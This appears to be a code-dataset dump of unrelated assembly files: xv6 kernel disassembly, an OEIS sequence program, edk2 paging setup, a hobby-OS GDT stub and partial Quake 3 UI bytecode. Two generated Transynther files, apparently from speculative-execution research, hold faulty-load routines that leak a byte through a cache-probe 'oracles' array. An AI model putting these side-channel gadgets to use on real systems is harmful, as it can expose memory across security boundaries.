80106ec8: 8b 55 0c mov 0xc(%ebp),%edx
80106ecb: 8b 45 08 mov 0x8(%ebp),%eax
80106ece: e8 7d f8 ff ff call 80106750 <walkpgdir>
80106ed3: 85 c0 test %eax,%eax
80106ed5: 74 05 je 80106edc <clearpteu+0x1c>
80106ed7: 83 20 fb andl $0xfffffffb,(%eax)
80106eda: c9 leave
80106edb: c3 ret
80106edc: 83 ec 0c sub $0xc,%esp
80106edf: 68 9a 7a 10 80 push $0x80107a9a
80106ee4: e8 77 94 ff ff call 80100360 <panic>
80106ee9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106ef0 <copyuvm>:
80106ef0: 55 push %ebp
80106ef1: 89 e5 mov %esp,%ebp
80106ef3: 57 push %edi
80106ef4: 56 push %esi
80106ef5: 53 push %ebx
80106ef6: 83 ec 1c sub $0x1c,%esp
80106ef9: e8 52 fb ff ff call 80106a50 <setupkvm>
80106efe: 85 c0 test %eax,%eax
80106f00: 89 45 e0 mov %eax,-0x20(%ebp)
80106f03: 0f 84 b2 00 00 00 je 80106fbb <copyuvm+0xcb>
80106f09: 8b 4d 0c mov 0xc(%ebp),%ecx
80106f0c: 85 c9 test %ecx,%ecx
80106f0e: 0f 84 9c 00 00 00 je 80106fb0 <copyuvm+0xc0>
80106f14: 31 f6 xor %esi,%esi
80106f16: eb 4a jmp 80106f62 <copyuvm+0x72>
80106f18: 90 nop
80106f19: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106f20: 83 ec 04 sub $0x4,%esp
80106f23: 81 c7 00 00 00 80 add $0x80000000,%edi
80106f29: 68 00 10 00 00 push $0x1000
80106f2e: 57 push %edi
80106f2f: 50 push %eax
80106f30: e8 6b d6 ff ff call 801045a0 <memmove>
80106f35: 58 pop %eax
80106f36: 5a pop %edx
80106f37: 8d 93 00 00 00 80 lea -0x80000000(%ebx),%edx
80106f3d: 8b 45 e0 mov -0x20(%ebp),%eax
80106f40: ff 75 e4 pushl -0x1c(%ebp)
80106f43: b9 00 10 00 00 mov $0x1000,%ecx
80106f48: 52 push %edx
80106f49: 89 f2 mov %esi,%edx
80106f4b: e8 80 f8 ff ff call 801067d0 <mappages>
80106f50: 83 c4 10 add $0x10,%esp
80106f53: 85 c0 test %eax,%eax
80106f55: 78 3e js 80106f95 <copyuvm+0xa5>
80106f57: 81 c6 00 10 00 00 add $0x1000,%esi
80106f5d: 39 75 0c cmp %esi,0xc(%ebp)
80106f60: 76 4e jbe 80106fb0 <copyuvm+0xc0>
80106f62: 8b 45 08 mov 0x8(%ebp),%eax
80106f65: 31 c9 xor %ecx,%ecx
80106f67: 89 f2 mov %esi,%edx
80106f69: e8 e2 f7 ff ff call 80106750 <walkpgdir>
80106f6e: 85 c0 test %eax,%eax
80106f70: 74 5a je 80106fcc <copyuvm+0xdc>
80106f72: 8b 18 mov (%eax),%ebx
80106f74: f6 c3 01 test $0x1,%bl
80106f77: 74 46 je 80106fbf <copyuvm+0xcf>
80106f79: 89 df mov %ebx,%edi
80106f7b: 81 e3 ff 0f 00 00 and $0xfff,%ebx
80106f81: 89 5d e4 mov %ebx,-0x1c(%ebp)
80106f84: 81 e7 00 f0 ff ff and $0xfffff000,%edi
80106f8a: e8 01 b5 ff ff call 80102490 <kalloc>
80106f8f: 85 c0 test %eax,%eax
80106f91: 89 c3 mov %eax,%ebx
80106f93: 75 8b jne 80106f20 <copyuvm+0x30>
80106f95: 83 ec 0c sub $0xc,%esp
80106f98: ff 75 e0 pushl -0x20(%ebp)
80106f9b: e8 a0 fe ff ff call 80106e40 <freevm>
80106fa0: 83 c4 10 add $0x10,%esp
80106fa3: 31 c0 xor %eax,%eax
80106fa5: 8d 65 f4 lea -0xc(%ebp),%esp
80106fa8: 5b pop %ebx
80106fa9: 5e pop %esi
80106faa: 5f pop %edi
80106fab: 5d pop %ebp
80106fac: c3 ret
80106fad: 8d 76 00 lea 0x0(%esi),%esi
80106fb0: 8b 45 e0 mov -0x20(%ebp),%eax
80106fb3: 8d 65 f4 lea -0xc(%ebp),%esp
80106fb6: 5b pop %ebx
80106fb7: 5e pop %esi
80106fb8: 5f pop %edi
80106fb9: 5d pop %ebp
80106fba: c3 ret
80106fbb: 31 c0 xor %eax,%eax
80106fbd: eb e6 jmp 80106fa5 <copyuvm+0xb5>
80106fbf: 83 ec 0c sub $0xc,%esp
80106fc2: 68 be 7a 10 80 push $0x80107abe
80106fc7: e8 94 93 ff ff call 80100360 <panic>
80106fcc: 83 ec 0c sub $0xc,%esp
80106fcf: 68 a4 7a 10 80 push $0x80107aa4
80106fd4: e8 87 93 ff ff call 80100360 <panic>
80106fd9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106fe0 <uva2ka>:
80106fe0: 55 push %ebp
80106fe1: 31 c9 xor %ecx,%ecx
80106fe3: 89 e5 mov %esp,%ebp
80106fe5: 83 ec 08 sub $0x8,%esp
80106fe8: 8b 55 0c mov 0xc(%ebp),%edx
80106feb: 8b 45 08 mov 0x8(%ebp),%eax
80106fee: e8 5d f7 ff ff call 80106750 <walkpgdir>
80106ff3: 8b 00 mov (%eax),%eax
80106ff5: 89 c2 mov %eax,%edx
80106ff7: 83 e2 05 and $0x5,%edx
80106ffa: 83 fa 05 cmp $0x5,%edx
80106ffd: 75 11 jne 80107010 <uva2ka+0x30>
80106fff: 25 00 f0 ff ff and $0xfffff000,%eax
80107004: c9 leave
80107005: 05 00 00 00 80 add $0x80000000,%eax
8010700a: c3 ret
8010700b: 90 nop
8010700c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80107010: 31 c0 xor %eax,%eax
80107012: c9 leave
80107013: c3 ret
80107014: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010701a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80107020 <copyout>:
80107020: 55 push %ebp
80107021: 89 e5 mov %esp,%ebp
80107023: 57 push %edi
80107024: 56 push %esi
80107025: 53 push %ebx
80107026: 83 ec 1c sub $0x1c,%esp
80107029: 8b 5d 14 mov 0x14(%ebp),%ebx
8010702c: 8b 55 0c mov 0xc(%ebp),%edx
8010702f: 8b 7d 10 mov 0x10(%ebp),%edi
80107032: 85 db test %ebx,%ebx
80107034: 75 40 jne 80107076 <copyout+0x56>
80107036: eb 70 jmp 801070a8 <copyout+0x88>
80107038: 90 nop
80107039: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80107040: 8b 55 e4 mov -0x1c(%ebp),%edx
80107043: 89 f1 mov %esi,%ecx
80107045: 29 d1 sub %edx,%ecx
80107047: 81 c1 00 10 00 00 add $0x1000,%ecx
8010704d: 39 d9 cmp %ebx,%ecx
8010704f: 0f 47 cb cmova %ebx,%ecx
80107052: 29 f2 sub %esi,%edx
80107054: 83 ec 04 sub $0x4,%esp
80107057: 01 d0 add %edx,%eax
80107059: 51 push %ecx
8010705a: 57 push %edi
8010705b: 50 push %eax
8010705c: 89 4d e4 mov %ecx,-0x1c(%ebp)
8010705f: e8 3c d5 ff ff call 801045a0 <memmove>
80107064: 8b 4d e4 mov -0x1c(%ebp),%ecx
80107067: 83 c4 10 add $0x10,%esp
8010706a: 8d 96 00 10 00 00 lea 0x1000(%esi),%edx
80107070: 01 cf add %ecx,%edi
80107072: 29 cb sub %ecx,%ebx
80107074: 74 32 je 801070a8 <copyout+0x88>
80107076: 89 d6 mov %edx,%esi
80107078: 83 ec 08 sub $0x8,%esp
8010707b: 89 55 e4 mov %edx,-0x1c(%ebp)
8010707e: 81 e6 00 f0 ff ff and $0xfffff000,%esi
80107084: 56 push %esi
80107085: ff 75 08 pushl 0x8(%ebp)
80107088: e8 53 ff ff ff call 80106fe0 <uva2ka>
8010708d: 83 c4 10 add $0x10,%esp
80107090: 85 c0 test %eax,%eax
80107092: 75 ac jne 80107040 <copyout+0x20>
80107094: 8d 65 f4 lea -0xc(%ebp),%esp
80107097: b8 ff ff ff ff mov $0xffffffff,%eax
8010709c: 5b pop %ebx
8010709d: 5e pop %esi
8010709e: 5f pop %edi
8010709f: 5d pop %ebp
801070a0: c3 ret
801070a1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801070a8: 8d 65 f4 lea -0xc(%ebp),%esp
801070ab: 31 c0 xor %eax,%eax
801070ad: 5b pop %ebx
801070ae: 5e pop %esi
801070af: 5f pop %edi
801070b0: 5d pop %ebp
801070b1: c3 ret
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_761.asm | ljhsiun2/medusa | 9 | 17212 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r15
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0xdee1, %rsi
lea addresses_D_ht+0x13121, %rdi
nop
nop
and $19157, %r15
mov $120, %rcx
rep movsb
nop
nop
nop
nop
nop
cmp %rdx, %rdx
lea addresses_WC_ht+0x7ae1, %r10
nop
cmp %rbp, %rbp
movl $0x61626364, (%r10)
nop
nop
nop
nop
nop
cmp $48634, %r10
lea addresses_A_ht+0x1cca1, %r15
nop
inc %rbp
mov (%r15), %cx
nop
nop
sub $11294, %rsi
lea addresses_D_ht+0x72e1, %rdx
nop
nop
add $55242, %rcx
mov (%rdx), %di
xor %rbp, %rbp
lea addresses_A_ht+0x19ca1, %rsi
nop
nop
nop
add %rcx, %rcx
mov $0x6162636465666768, %rdi
movq %rdi, (%rsi)
nop
nop
nop
nop
nop
cmp %rdi, %rdi
lea addresses_UC_ht+0x1228d, %rsi
lea addresses_UC_ht+0x5771, %rdi
nop
nop
nop
dec %r14
mov $110, %rcx
rep movsw
nop
dec %r15
lea addresses_WC_ht+0x16479, %rsi
lea addresses_UC_ht+0xe939, %rdi
nop
nop
nop
nop
xor %r10, %r10
mov $102, %rcx
rep movsw
nop
nop
inc %rbp
lea addresses_D_ht+0x11b89, %rbp
nop
dec %rdi
movw $0x6162, (%rbp)
nop
nop
nop
add %r14, %r14
lea addresses_WT_ht+0x22e1, %rbp
clflush (%rbp)
nop
nop
xor $53520, %r15
movw $0x6162, (%rbp)
nop
inc %rdx
lea addresses_normal_ht+0x1a529, %r15
nop
dec %rdi
movb $0x61, (%r15)
nop
nop
nop
nop
xor %rcx, %rcx
lea addresses_A_ht+0x13ce1, %r14
nop
nop
nop
nop
add $6813, %rdi
movb $0x61, (%r14)
nop
nop
nop
nop
and %r10, %r10
lea addresses_UC_ht+0x14cf9, %rsi
lea addresses_WT_ht+0x1a561, %rdi
nop
and $24070, %r14
mov $34, %rcx
rep movsw
nop
nop
nop
inc %r15
lea addresses_WC_ht+0x185e1, %rdx
nop
nop
nop
nop
nop
sub %r15, %r15
mov $0x6162636465666768, %rsi
movq %rsi, %xmm0
and $0xffffffffffffffc0, %rdx
movaps %xmm0, (%rdx)
and $50789, %rdi
lea addresses_D_ht+0x1a6e1, %r15
nop
nop
sub %rsi, %rsi
movups (%r15), %xmm5
vpextrq $1, %xmm5, %r10
nop
nop
xor %r15, %r15
lea addresses_WT_ht+0x72e1, %rsi
lea addresses_D_ht+0x15e1, %rdi
inc %r10
mov $19, %rcx
rep movsq
nop
nop
nop
nop
nop
cmp %r10, %r10
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r8
push %r9
push %rax
push %rbx
push %rcx
push %rsi
// Store
mov $0xae1, %r9
nop
nop
add $27352, %rbx
mov $0x5152535455565758, %rcx
movq %rcx, (%r9)
nop
nop
nop
nop
cmp %r9, %r9
// Store
lea addresses_normal+0x92b3, %r13
nop
nop
nop
add %rsi, %rsi
movb $0x51, (%r13)
nop
nop
nop
nop
nop
cmp %r8, %r8
// Faulty Load
lea addresses_D+0xa2e1, %r8
clflush (%r8)
nop
nop
nop
nop
nop
inc %rax
vmovups (%r8), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $1, %xmm1, %r9
lea oracles, %r13
and $0xff, %r9
shlq $12, %r9
mov (%r13,%r9,1), %r9
pop %rsi
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r8
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_P', 'size': 8, 'AVXalign': True}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_normal', 'size': 1, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 10, 'NT': False, 'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_A_ht', 'size': 2, 'AVXalign': True}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': True}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': True, 'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': True, 'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 7, 'NT': False, 'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': True}}
{'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
programs/oeis/175/A175884.asm | neoneye/loda | 22 | 24333 | <reponame>neoneye/loda<filename>programs/oeis/175/A175884.asm<gh_stars>10-100
; A175884: Numbers that are congruent to {0, 2, 4, 7, 9} mod 12.
; 0,2,4,7,9,12,14,16,19,21,24,26,28,31,33,36,38,40,43,45,48,50,52,55,57,60,62,64,67,69,72,74,76,79,81,84,86,88,91,93,96,98,100,103,105,108,110,112,115,117,120,122,124,127,129,132,134,136,139,141,144,146,148,151,153,156,158,160,163,165,168,170,172,175,177,180,182,184,187,189,192,194,196,199,201,204,206,208,211,213,216,218,220,223,225,228,230,232,235,237
mul $0,12
div $0,5
|
Transynther/x86/_processed/US/_zr_/i3-7100_9_0xca_notsx.log_92_514.asm | ljhsiun2/medusa | 9 | 102917 | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %r8
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x10217, %r8
nop
nop
nop
nop
cmp $10896, %rdx
movl $0x61626364, (%r8)
nop
cmp %rbp, %rbp
lea addresses_WC_ht+0x15f3, %r8
cmp %r15, %r15
mov $0x6162636465666768, %rax
movq %rax, %xmm1
vmovups %ymm1, (%r8)
nop
nop
cmp $39415, %rbp
lea addresses_UC_ht+0x1b477, %r12
nop
cmp $8342, %rsi
movb $0x61, (%r12)
nop
inc %r15
lea addresses_A_ht+0xbc57, %rsi
lea addresses_WT_ht+0x1cf17, %rdi
nop
sub %r12, %r12
mov $5, %rcx
rep movsq
nop
cmp %r8, %r8
lea addresses_A_ht+0x40d9, %rsi
lea addresses_D_ht+0x6017, %rdi
nop
nop
xor $21691, %r12
mov $27, %rcx
rep movsl
nop
sub %rbp, %rbp
lea addresses_A_ht+0xca17, %rdi
nop
nop
nop
nop
dec %rcx
movb $0x61, (%rdi)
nop
nop
nop
dec %r12
lea addresses_UC_ht+0x7884, %r15
nop
nop
nop
nop
nop
cmp $6577, %r12
mov (%r15), %r8d
nop
nop
xor %r15, %r15
lea addresses_D_ht+0xa317, %rdi
nop
nop
add $61768, %r8
mov $0x6162636465666768, %rdx
movq %rdx, %xmm5
and $0xffffffffffffffc0, %rdi
vmovntdq %ymm5, (%rdi)
add %rdi, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r8
push %rbx
push %rdi
push %rdx
// Faulty Load
lea addresses_US+0x1fa17, %rbx
nop
nop
nop
nop
nop
sub %r10, %r10
movups (%rbx), %xmm3
vpextrq $1, %xmm3, %r8
lea oracles, %r10
and $0xff, %r8
shlq $12, %r8
mov (%r10,%r8,1), %r8
pop %rdx
pop %rdi
pop %rbx
pop %r8
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 4, 'NT': False, 'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': True, 'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False}}
{'00': 92}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
UefiCpuPkg/ResetVector/Vtf0/Ia32/PageTables64.asm | nicklela/edk2 | 3,861 | 177008 | <filename>UefiCpuPkg/ResetVector/Vtf0/Ia32/PageTables64.asm
;------------------------------------------------------------------------------
; @file
; Sets the CR3 register for 64-bit paging
;
; Copyright (c) 2008 - 2013, Intel Corporation. All rights reserved.<BR>
; SPDX-License-Identifier: BSD-2-Clause-Patent
;
;------------------------------------------------------------------------------
BITS 32
;
; Modified: EAX
;
SetCr3ForPageTables64:
;
; These pages are built into the ROM image in X64/PageTables.asm
;
mov eax, ADDR_OF(TopLevelPageDirectory)
mov cr3, eax
OneTimeCallRet SetCr3ForPageTables64
|
src/research/ivt.asm | MijnOS/MijnOS | 0 | 25955 | BITS 16
struc gdt_entry_struct
limit_low: resb 2
base_low: resb 2
base_middle: resb 1
access: resb 1
granularity: resb 1
base_high: resb 1
endstruc
ptr_gdtr db 0,0,0, 0,0,0
flush_gdt:
lgdt [ptr_gdtr]
jmp 0x08:complete_flush
complete_flush:
mov ax, 0x10
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
ret
|
ioq3/build/release-js-js/baseq3/ui/ui_sppostgame.asm | RawTechnique/quake-port | 1 | 777 | <reponame>RawTechnique/quake-port<gh_stars>1-10
data
export ui_medalNames
align 4
LABELV ui_medalNames
address $69
address $70
address $71
address $72
address $73
address $74
export ui_medalPicNames
align 4
LABELV ui_medalPicNames
address $75
address $76
address $77
address $78
address $79
address $80
export ui_medalSounds
align 4
LABELV ui_medalSounds
address $81
address $82
address $83
address $84
address $85
address $86
code
proc UI_SPPostgameMenu_AgainEvent 0 8
ADDRFP4 4
INDIRI4
CNSTI4 3
EQI4 $88
ADDRGP4 $87
JUMPV
LABELV $88
ADDRGP4 UI_PopMenu
CALLV
pop
CNSTI4 2
ARGI4
ADDRGP4 $90
ARGP4
ADDRGP4 trap_Cmd_ExecuteText
CALLV
pop
LABELV $87
endproc UI_SPPostgameMenu_AgainEvent 0 8
proc UI_SPPostgameMenu_NextEvent 36 4
ADDRFP4 4
INDIRI4
CNSTI4 3
EQI4 $92
ADDRGP4 $91
JUMPV
LABELV $92
ADDRGP4 UI_PopMenu
CALLV
pop
ADDRGP4 postgameMenuInfo+868
INDIRI4
CNSTI4 0
NEI4 $94
ADDRLP4 4
CNSTI4 0
ASGNI4
ADDRGP4 $95
JUMPV
LABELV $94
ADDRLP4 4
ADDRGP4 postgameMenuInfo+860
INDIRI4
CNSTI4 1
ADDI4
ASGNI4
LABELV $95
ADDRLP4 8
ADDRLP4 4
INDIRI4
CNSTI4 4
DIVI4
ASGNI4
ADDRLP4 20
ADDRGP4 UI_GetCurrentGame
CALLI4
ASGNI4
ADDRLP4 0
ADDRLP4 20
INDIRI4
ASGNI4
ADDRLP4 0
INDIRI4
CNSTI4 -1
NEI4 $98
ADDRLP4 0
ADDRGP4 postgameMenuInfo+860
INDIRI4
ASGNI4
LABELV $98
ADDRLP4 16
ADDRLP4 0
INDIRI4
CNSTI4 4
DIVI4
ASGNI4
ADDRLP4 8
INDIRI4
ADDRLP4 16
INDIRI4
GTI4 $103
ADDRLP4 28
ADDRGP4 UI_GetNumSPTiers
CALLI4
ASGNI4
ADDRLP4 8
INDIRI4
ADDRLP4 28
INDIRI4
NEI4 $101
LABELV $103
ADDRLP4 4
ADDRLP4 0
INDIRI4
ASGNI4
LABELV $101
ADDRLP4 4
INDIRI4
ARGI4
ADDRLP4 32
ADDRGP4 UI_GetArenaInfoByNumber
CALLP4
ASGNP4
ADDRLP4 12
ADDRLP4 32
INDIRP4
ASGNP4
ADDRLP4 12
INDIRP4
CVPU4 4
CNSTU4 0
NEU4 $104
ADDRGP4 $91
JUMPV
LABELV $104
ADDRLP4 12
INDIRP4
ARGP4
ADDRGP4 UI_SPArena_Start
CALLV
pop
LABELV $91
endproc UI_SPPostgameMenu_NextEvent 36 4
proc UI_SPPostgameMenu_MenuEvent 0 8
ADDRFP4 4
INDIRI4
CNSTI4 3
EQI4 $107
ADDRGP4 $106
JUMPV
LABELV $107
ADDRGP4 UI_PopMenu
CALLV
pop
CNSTI4 2
ARGI4
ADDRGP4 $109
ARGP4
ADDRGP4 trap_Cmd_ExecuteText
CALLV
pop
LABELV $106
endproc UI_SPPostgameMenu_MenuEvent 0 8
proc UI_SPPostgameMenu_MenuKey 8 8
ADDRFP4 0
ADDRFP4 0
INDIRI4
ASGNI4
ADDRGP4 uis+4
INDIRI4
ADDRGP4 postgameMenuInfo+556
INDIRI4
GEI4 $111
CNSTI4 0
RETI4
ADDRGP4 $110
JUMPV
LABELV $111
ADDRGP4 postgameMenuInfo+552
INDIRI4
CNSTI4 1
NEI4 $115
CNSTI4 2
ARGI4
ADDRGP4 $118
ARGP4
ADDRGP4 trap_Cmd_ExecuteText
CALLV
pop
ADDRGP4 postgameMenuInfo+552
CNSTI4 2
ASGNI4
ADDRGP4 postgameMenuInfo+560
ADDRGP4 uis+4
INDIRI4
ASGNI4
ADDRGP4 postgameMenuInfo+556
ADDRGP4 uis+4
INDIRI4
CNSTI4 250
ADDI4
ASGNI4
CNSTI4 0
RETI4
ADDRGP4 $110
JUMPV
LABELV $115
ADDRGP4 postgameMenuInfo+552
INDIRI4
CNSTI4 2
NEI4 $124
ADDRGP4 postgameMenuInfo+552
CNSTI4 3
ASGNI4
ADDRGP4 postgameMenuInfo+560
ADDRGP4 uis+4
INDIRI4
ASGNI4
ADDRGP4 postgameMenuInfo+556
ADDRGP4 uis+4
INDIRI4
CNSTI4 250
ADDI4
ASGNI4
CNSTI4 0
RETI4
ADDRGP4 $110
JUMPV
LABELV $124
ADDRFP4 0
INDIRI4
CNSTI4 27
EQI4 $134
ADDRFP4 0
INDIRI4
CNSTI4 179
NEI4 $132
LABELV $134
CNSTI4 0
